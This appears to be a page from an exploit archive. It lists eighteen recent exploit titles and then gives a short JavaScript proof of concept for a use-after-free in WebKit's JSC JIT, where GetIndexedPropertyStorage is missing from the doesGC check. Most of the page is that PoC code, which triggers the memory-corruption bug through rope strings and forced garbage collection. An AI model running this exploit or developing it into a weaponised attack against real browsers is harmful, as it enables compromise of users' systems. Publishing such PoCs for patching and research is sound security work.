
18 changes to exploits/shellcodes Spotify 1.0.96.181 - 'Proxy configuration' Denial of Service (PoC) NTPsec 1.1.2 - 'ctl_getitem' Out-of-Bounds Read (PoC) NTPsec 1.1.2 - 'ntp_control' Out-of-Bounds Read (PoC) NTPsec 1.1.2 - 'ntp_control' Authenticated NULL Pointer Dereference (PoC) NTPsec 1.1.2 - 'config' Authenticated Out-of-Bounds Write Denial of Service (PoC) Google Chrome V8 JavaScript Engine 71.0.3578.98 - Out-of-Memory in Invalid Array Length WebKit JSC JIT - GetIndexedPropertyStorage Use-After-Free Microsoft Windows 10 - 'RestrictedErrorInfo' Unmarshal Section Handle Use-After-Free Microsoft Windows 10 - XmlDocument Insecure Sharing Privilege Escalation blueman - set_dhcp_handler D-Bus Privilege Escalation (Metasploit) FortiGate FortiOS < 6.0.3 - LDAP Credential Disclosure Roxy Fileman 1.4.5 - Arbitrary File Download doorGets CMS 7.0 - Arbitrary File Download ShoreTel / Mitel Connect ONSITE 19.49.5200.0 - Remote Code Execution GL-AR300M-Lite 2.27 - Authenticated Command Injection / Arbitrary File Download / Directory Traversal Coship Wireless Router 4.0.0.48 / 4.0.0.40 / 5.0.0.54 / 5.0.0.55 / 10.0.0.49 - Unauthenticated Admin Password Reset Blueimp's jQuery File Upload 9.22.0 - Arbitrary File Upload Exploit
58 lines
No EOL
1.2 KiB
JavaScript
58 lines
No EOL
1.2 KiB
JavaScript
/*
|
|
The doesGC function simply takes a node, and tells if it might cause a garbage collection. This function is used to determine whether to insert write barriers. But it's missing GetIndexedPropertyStorage that can cause a garbage collection via rope strings. As a result, it can lead to UaF.
|
|
|
|
PoC:
|
|
*/
|
|
|
|
function gc() {
|
|
for (let i = 0; i < 10; i++) {
|
|
new ArrayBuffer(1024 * 1024 * 10);
|
|
}
|
|
}
|
|
|
|
function opt(arr) {
|
|
let r = /a/;
|
|
let o = {};
|
|
|
|
arr[0].charAt(0);
|
|
arr[1].charAt(0);
|
|
arr[2].charAt(0);
|
|
arr[3].charAt(0);
|
|
arr[4].charAt(0);
|
|
arr[5].charAt(0);
|
|
arr[6].charAt(0);
|
|
arr[7].charAt(0);
|
|
arr[8].charAt(0);
|
|
arr[8].charAt(0);
|
|
arr[9].charAt(0);
|
|
|
|
o.x = 'a'.match(r);
|
|
|
|
return o;
|
|
}
|
|
|
|
function main() {
|
|
for (let i = 0; i < 10000; i++) {
|
|
opt(['a' + i, 'b' + i, 'c' + i, 'd' + i, 'e' + i, 'f' + i, 'g' + i, 'h' + i, 'i' + i, 'j' + i]);
|
|
}
|
|
|
|
let a = 'a'.repeat(1024 * 1024 * 2);
|
|
let b = 'a'.repeat(1024 * 1024 * 2);
|
|
|
|
let arr = [];
|
|
for (let i = 0; i < 10; i++) {
|
|
arr[i] = a + b;
|
|
}
|
|
|
|
gc();
|
|
|
|
let o = opt(arr);
|
|
|
|
gc();
|
|
|
|
let tmp = [1234];
|
|
|
|
print(o.x); // 1234
|
|
}
|
|
|
|
main(); |